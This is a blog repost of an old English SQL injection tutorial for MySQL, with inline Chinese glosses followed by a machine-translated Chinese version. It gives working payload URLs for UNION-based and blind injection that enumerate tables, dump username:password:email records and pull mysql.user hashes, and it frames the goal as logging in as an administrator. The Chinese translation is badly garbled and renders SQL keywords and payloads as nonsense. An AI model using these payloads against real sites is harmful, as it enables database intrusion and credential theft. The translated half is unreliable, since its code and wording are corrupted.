Sql injection 教程,包括盲注 (英语版+翻譯)

  • 这是很多年以前在网路上看到的一篇文章,原文站点似乎找不到了,在此做个备份。。。

    中文翻译看看就好。。

    SQL Injection Tutorial by Marezzi (MySQL)

    In this tutorial i will describe how sql injection works and how touse it to get some useful information.

    First of all: What is SQL injection?
    It's one of the most common vulnerability(弱点;攻击--CCOz注) in web applications(pl.应用--CCOz注) today.It allows attacker to execute(执行--CCOz注) database query in url and gain access(入口--CCOz注)to some confidential information etc...(in shortly).

    1.SQL Injection (classic or error based or whatever you call it) :D...
    2.Blind SQL Injection (the harder part)

    So let's start with some action :D

    1). Check for vulnerability
    Let's say that we have some site like this
    http://www.site.com/news.php?id=5
    Now to test if is vulrnable we add to the end of url ' (quote),
    and that would be http://www.site.com/news.php?id=5'
    so if we get some error like"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."or something similar
    that means is vulrnable to sql injection :)
    2). Find the number of columns(列--CCOz注)
    To find number of columns we use statement ORDER BY (tells database how to order the result)
    so how to use it? Well just incrementing(增加--CCOz注) the number until we get an error.
    http://www.site.com/news.php?id=5 order by 1/* <-- no error  ("/*" what's the meaning?--CCOz)
    http://www.site.com/news.php?id=5 order by 2/* <-- no error
    http://www.site.com/news.php?id=5 order by 3/* <-- no error
    http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
    that means that the it has 3 columns, cause we got an error on 4.
    3). Check for UNION function
    With union we can select more data in one sql statement.
    so we have
    http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
    if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
    4). Check for MySQL version
    http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --it's a comment and it's important for our query to work properly.
    let say that we have number 2 on the screen, now to check for versionwe replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
    it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
    if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
    i didn't see any paper covering this problem, so i must write it :)
    what we need is convert() function
    i.e.
    http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
    or with hex() and unhex()
    i.e.
    http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
    and you will get MySQL version :D
    5). Getting table and column name
    well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.we must guess table and column name in most cases.
    common table names are: user/s, admin/s, member/s ...
    common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
    i.e would be
    http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)
    we know that table admin exists...
    now to check column names.

    http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
    we get username displayed on screen, example would be admin, or superadmin etc...
    now to check if column password exists
    http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
    we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
    i.e md5 hash, mysql hash, sha1...
    now we must complete query to look nice :)
    for that we can use concat() function (it joins strings)
    i.e
    http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
    Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
    (there is another way for that, char(58), ascii value for : )

    http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
    now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
    when you have this, you can login like admin or some superuser :D
    if can't guess the right table name, you can always try mysql.user (default)
    it has user i password columns, so example would be
    http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
    6). MySQL 5
    Like i said before i'm gonna explain how to get table and column namesin MySQL > 5.
    For this we need information_schema. It holds all tables and columns in database.
    to get tables we use table_name and information_schema.tables.
    i.e
    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
    here we replace the our number 2 with table_name to get the first table from information_schema.tables
    displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
    i.e
    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
    note that i put 0,1 (get 1 result starting from the 0th)
    now to view the second table, we change limit 0,1 to limit 1,1
    i.e
    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
    the second table is displayed.
    for third table we put limit 2,1
    i.e
    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
    keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
    To get the column names the method is the same.
    here we use column_name and information_schema.columns
    the method is same as above so example would be

    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
    the first column is diplayed.
    the second one (we change limit 0,1 to limit 1,1)
    ie.

    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
    the second column is displayed, so keep incrementing until you get something like
    username,user,login, password, pass, passwd etc... :D
    if you wanna display column names for specific table use this query. (where clause)
    let's say that we found table users.
    i.e
    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
    now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
    Note that this won't work if the magic quotes is ON.
    let's say that we found colums user, pass and email.
    now to complete query to put them all together :D
    for that we use concat() , i decribe it earlier.
    i.e

    http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
    what we get here is user:pass:email from table users.
    example: admin:hash:whatever@blabla.com

    That's all in this part, now we can proceed on harder part :)


    2. Blind SQL Injection
    Blind injection is a little more complicated the classic injection but it can be done :D
    I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
    Let's start with advanced stuff.
    I will be using our example
    http://www.site.com/news.php?id=5
    when we execute this, we see some page and articles on that page, pictures etc...
    then when we want to test it for blind sql injection attack
    http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
    and the page loads normally, that's ok.
    now the real test
    http://www.site.com/news.php?id=5 and 1=2 <--- this is false
    so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
    1) Get the MySQL version
    to get the version in blind attack we use substring
    i.e
    http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
    this should return TRUE if the version of MySQL is 4.
    replace 4 with 5, and if query return TRUE then the version is 5.
    i.e
    http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
    2) Test if subselect works
    when select don't work then we use subselect
    i.e
    http://www.site.com/news.php?id=5 and (select 1)=1
    if page loads normally then subselects work.
    then we gonna see if we have access to mysql.user
    i.e
    http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
    if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
    3). Check table and column names
    This is part when guessing is the best friend :)
    i.e.
    http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
    then if the page loads normally without content missing, the table users exits.if you get FALSE (some article missing), just change table name until you guess the right one :)
    let's say that we have found that table name is users, now what we need is column name.
    the same as table name, we start guessing. Like i said before try the common names for columns.
    i.e
    http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
    if the page loads normally we know that column name is password (if we get false then try common names or just guess)
    here we merge 1 with the column password, then substring returns the first character (,1,1)

    4). Pull data from database
    we found table users i columns username password so we gonna pull characters from that.
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
    ok this here pulls the first character from first user in table users.
    substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
    and then compare it with simbol greater then > .
    so if the ascii char greater then 80, the page loads normally. (TRUE)
    we keep trying until we get false.

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
    we get TRUE, keep incrementing

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
    TRUE again, higher
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
    FALSE!!!
    so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
    then let's check the second character.
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
    Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
    TRUE, the page loads normally, higher.
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
    FALSE, lower number.
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
    TRUE, higher.
    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
    FALSE!!!
    we know that the second character is char(105) and that is 'i'. We have 'ci' so far
    so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
    There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
    cause that makes you better SQL INJECTOR :D

    Hope you learned something from this paper.
    Have FUN! (:
    To be continued and updated...


    以下是中文翻译:


    在本教程中,我将介绍如何SQL注入工作,以及如何touse它得到一些有用的信息。

    首先:什么是SQL注入? 
    这是最常见的漏洞之一(弱点,攻击-在网络应用CCOz注)(pl.应用- CCOz注)today.It允许攻击者执行(执行- CCOz注)数据库中的URL,并取得查询(入口- CCOz注)的一些机密信息等..(在短期内)。

    1.SQL注入(典型的或错误的,或者无论你称呼它):D. .. 
    2.Blind SQL注入(较难的部分)

    因此,让我们开始了一些行动:Ḏ

    1)。检查漏洞 
    比方说,我们有一些这样的网站 
    http://www.site.com/news.php?id=5 
    现在来测试是否是vulrnable我们增加了url的结尾'(引), 
    这将是http://www.site.com/news.php?id=5' 
    所以如果我们得到一些诸如“你有一个在您的SQL语法错误的错误;检查手册对应的权利,你的MySQL服务器版本等等..”或类似的
    这意味着vulrnable SQL注入:) 
    2)。查找列数(列- CCOz注) 
    为了找到列我们使用的ORDER BY语句数量(告诉数据库如何订购结果) 
    因此如何使用?也仅仅递增(增加- CCOz注)的数量,直到我们得到一个错误。 
    http://www.site.com/news.php?id=5整理1 / *“ -没有错误("/*"什么意思? - CCOz) 
    http://www.site.com/news.php?id=5整理2 / *“ -没有错误 
    http://www.site.com/news.php?id=5整理3 / *“ -没有错误 
    为了http://www.site.com/news.php?id=5 4 / *“ -错误(我们得到这样的未知列'4'以条款'或类似的东西'消息) 
    这意味着,它有3列,导致我们有了4错误。 
    3)。联盟功能检查 
    与工会,我们可以选择一个SQL语句更多的数据。 
    所以我们 
    http://www.site.com/news.php?id=5联盟的所有选择1,2,3 / *(我们已经发现,一些列在第2 3)。 ) 
    如果我们在屏幕上看到一些数字,即:1或2或3,然后在工会的工作:) 
    4)。 MySQL的版本检查 
    http://www.site.com/news.php?id=5联盟的所有选择1,2,3 / *注意:如果/ *没有工作或你一些错误,然后尝试-它是一根评论,是很重要的我们的查询才能正常工作。 
    让说,我们在屏幕上数字2,现在来检查versionwe取代数2版本或版本@ @()和get someting如4.1.33日志或5.0.45或类似。 
    它看起来应该像这样http://www.site.com/news.php?id=5联盟的所有选择1,@ @版本,3 / * 
    如果你得到一个错误“联盟+的排序规则的非法组合(隐+ COERCIBLE)...” 
    我没有看到任何文件涉及这一问题,所以我必须写:) 
    我们需要的是转换()函数 
    即 
    http://www.site.com/news.php?id=5联盟的所有选择1,转换(@ @使用latin1版),3 / * 
    或十六进制()和unhex() 
    即 
    http://www.site.com/news.php?id=5联盟的所有选择1,(16进制(@ @版)),3 unhex / * 
    你会得到MySQL版本:Ḏ 
    5)。使用表和列名 
    以及如果MySQL的版本是“5(即4.1.33,4.1.12 ...)”---之后,我将介绍MySQL的“5 version.we猜在大多数情况下的表和列名。 
    通用表名称是:用户/秒,管理员/秒,成员/秒... 
    共同列名是:用户名,用户,usr下,USER_NAME的,密码,通过passwd的,密码等.. 
    外溢会 
    http://www.site.com/news.php?id=5联盟的所有选择1,2,3,从管理/ *(我们看到的数字屏幕上像前2,这就是好了:D) 
    我们知道,表管理存在... 
    现在来检查的列名。

    http://www.site.com/news.php?id=5联盟的所有选择1,用户名,从管理3 / *(如果您得到一个错误,然后再尝试其他列名) 
    我们得到的用户名显示在屏幕上,例如将管理,或超级管理员等.. 
    现在,以检查是否存在列密码 
    http://www.site.com/news.php?id=5联盟的所有选择1,密码,从管理员3 / *(如果您得到一个错误,然后再尝试其他列名) 
    我们看到的散列或纯文本屏幕密码,如何建立数据库取决于:) 
    外溢MD5哈希,MySQL的哈希,sha1 ... 
    现在我们必须完成查询,看上去很好:) 
    为此,我们可以使用的CONCAT()(它加入字符串) 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,Concat的(用户名,0x3a,密码),3名管理员/ * 
    请注意,我把0x3a,其十六进制值为:(所以0x3a是冒号十六进制值) 
    (还有一个这样,字符(58),ASCII值为:)

    http://www.site.com/news.php?id=5联盟的所有选择1,Concat的(用户名,烧焦(58),密码),3名管理员/ * 
    现在我们得到dislayed用户名:密码屏幕上,即管理员:管理员或管理员:somehash 
    当您有此,您可以登录一些如管理员或超级用户:Ḏ 
    如果不能正确的猜测表的名称,你可以再尝试mysql.user(默认) 
    它用户I密码栏,所以例子是 
    http://www.site.com/news.php?id=5联盟的所有选择1,Concat的(用户,0x3a,密码),从mysql.user 3 / * 
    6)。 MySQL的5 
    正如我以前说过我gonna解释如何得到表名和列namesin MySQL的“5。 
    为此,我们需要INFORMATION_SCHEMA信息。它拥有所有的数据库表和列。 
    让我们用表格名表和information_schema.tables。 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,表名,3名来自information_schema.tables / * 
    在这里,我们替换表名,以获得information_schema.tables第一个表的编号为2 
    显示在屏幕上。现在,我们必须补充限额的查询结束,列出所有表。 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,表名,从information_schema.tables 3限制0,1 / * 
    请注意,我把0,1(送1的结果,从第0个开始) 
    现在,以查看第二个表,我们改变限制0,1限制1,1 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,表名,从information_schema.tables 3限制1,1 / * 
    第二个表显示。 
    第三表我们提出限制2,1 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,表名,从information_schema.tables 3限制2,1 / * 
    不断递增,直到你得到一些喜欢db_admin,poll_user,权威性,auth_user等有用.. :Ḏ 
    要获得列名的方法是相同的。 
    在这里我们使用栏位和information_schema.columns 
    该方法是一样的上面这样的例子是

    http://www.site.com/news.php?id=5联盟的所有选择1,栏位,从information_schema.columns 3限制0,1 / * 
    第一列是diplayed。 
    第二个(我们改变限制0,1限制1,1) 
    IE浏览器。

    http://www.site.com/news.php?id=5联盟的所有选择1,栏位,从information_schema.columns 3限制1,1 / * 
    第二列显示的,所以要递增,直到你喜欢的东西 
    用户名,用户,登录,密码,通过passwd的等.. :Ḏ 
    如果您想要显示特定的表使用此查询的列名。 (where子句) 
    让我们说,我们认为表的用户。 
    外溢 
    http://www.site.com/news.php?id=5联盟的所有选择1,栏位,3 information_schema.columns在表格名='用户'/ * 
    现在我们得到的用户显示在表列的名称。仅使用极限,我们可以在表中列出用户的所有列。 
    请注意,这是行不通的,如果是对魔术引号。 
    让我们说,我们认为colums用户,通过和电子邮件。 
    现在完成查询,把它们放在一起:Ḏ 
    为此我们使用Concat的(),我刚才描述它。 
    外溢

    http://www.site.com/news.php?id=5联盟的所有选择1,Concat的(用户,0x3a,传球,0x3a,电子邮件)的用户/ * 
    我们到这里是用户:密码:从表用户的电子邮件。 
    例如:管理员:哈希:whatever@blabla.com

    这是本部分的,现在我们可以继续在困难的一部分:)


    2。盲SQL注入 
    盲注是一个复杂的经典注入多一点,但可以做到:Ḏ 
    我必须提到,有很好的SQL盲注的xprog教程,所以它不是坏事阅读:Ḏ 
    让我们先从先进的东西。 
    我会用我们的例子 
    http://www.site.com/news.php?id=5 
    当我们执行此,我们看到一些网页,并在此页的文章,图片等.. 
    然后当我们想测试盲目SQL注入攻击它 
    http://www.site.com/news.php?id=5和1 = 1“---这是总是正确的 
    并在页面加载正常,那就OK了。 
    现在真正的考验 
    http://www.site.com/news.php?id=5和1 = 2“---这是错误的 
    因此,如果一些文字,图片或缺少一些内容网页上,然后返回该站点是vulrnable盲目SQL注入。 
    1)获取MySQL版本 
    获得盲目攻击,我们使用的串版本 
    外溢 
    http://www.site.com/news.php?id=5和子(@ @版,1,1)= 4 
    这应返回TRUE,如果在MySQL版本为4。 
    取代5 4,如果查询返回真,那么该版本是5。 
    外溢 
    http://www.site.com/news.php?id=5和子(@ @版,1,1)= 5 
    2)测试工作,如果子查询 
    如果选择不工作,然后我们使用子查询 
    外溢 
    http://www.site.com/news.php?id=5和(选择1)= 1 
    如果正常加载网页,然后子查询工作。 
    那么我们该怎么看,如果我们能够获得mysql.user 
    外溢 
    http://www.site.com/news.php?id=5和(选择mysql.user限制0,1 1)= 1 
    如果页面加载,一般来说,我们能够获得mysql.user和后来我们就能够使一些密码usign load_file()函数和outfile参数。 
    3)。检查表和列名 
    这是部分在猜测是最好的朋友:) 
    即 
    http://www.site.com/news.php?id=5及(由用户选择限制0,1 1 = 1(0,1与我们的查询限制在这里)返回1的数据行,造成子查询只返回1行,这是很重要的。) 
    那么如果没有内容缺少正常的页面加载,表用户exits.if你假(一些文章失踪),只是改变表的名字,直到你猜是正确的:) 
    让我们说,我们发现,表名是用户,现在我们需要的是列名。 
    相同的表名,我们开始猜测。就像我以前说过尝试列的通用名称。 
    外溢 
    http://www.site.com/news.php?id=5和(选择子(Concat的(1,密码),1,1)由用户限制0,1)= 1 
    如果页面加载通常我们知道,列名,密码(如果我们得到虚假然后尝试共同的名字还是猜测) 
    在这里,我们融入密码一栏,然后返回字符串第一个字符(,1,1)

    4)。从数据库中的数据拉 
    我们发现表用户来说列名密码,这样我们该怎么撤出的字符。 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“80 
    确定这一这里是直接从用户在表中的第一个用户的第一个字符。 
    这里返回字符串第一个字符和1个字符的长度。 ASCII码()的1个字符转换成ASCII值 
    然后比较辛博尔更大的那么“。 
    所以,如果更多的ASCII字符,然后80,在页面加载正常。 (真) 
    我们不断尝试,直到我们得到错误的。

    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“95 
    我们获得真正的,不断递增

    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“98 
    真再次,高 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“99 
    假! 
    所以在用户名的第一个字符是char(99)。使用ASCII转换器,我们知道字符(99)是字母'c'的。 
    那么就让我们来检查第二个字符。 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),2,1))“99 
    请注意,我变了,1,1的,2,1获得第二个字符。 (现在它返回的第二个字符,字符长度1)

    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“99 
    真,页面加载通常较高。 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“107 
    假,更小的数字。 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“104 
    TRUE,则更高。 
    http://www.site.com/news.php?id=5和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“105 
    假! 
    我们知道,第二个字符是char(105),就是'我'。我们有'词'到目前为止, 
    从而保持递增,直到满意为止结束。 (当“0返回false,我们知道,我们已经到达结束)。 
    盲人有SQL注入的一些工具,我认为的SqlMap是最好的,但我尽一切手动 
    事业,让你更好的SQL注入:Ḏ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值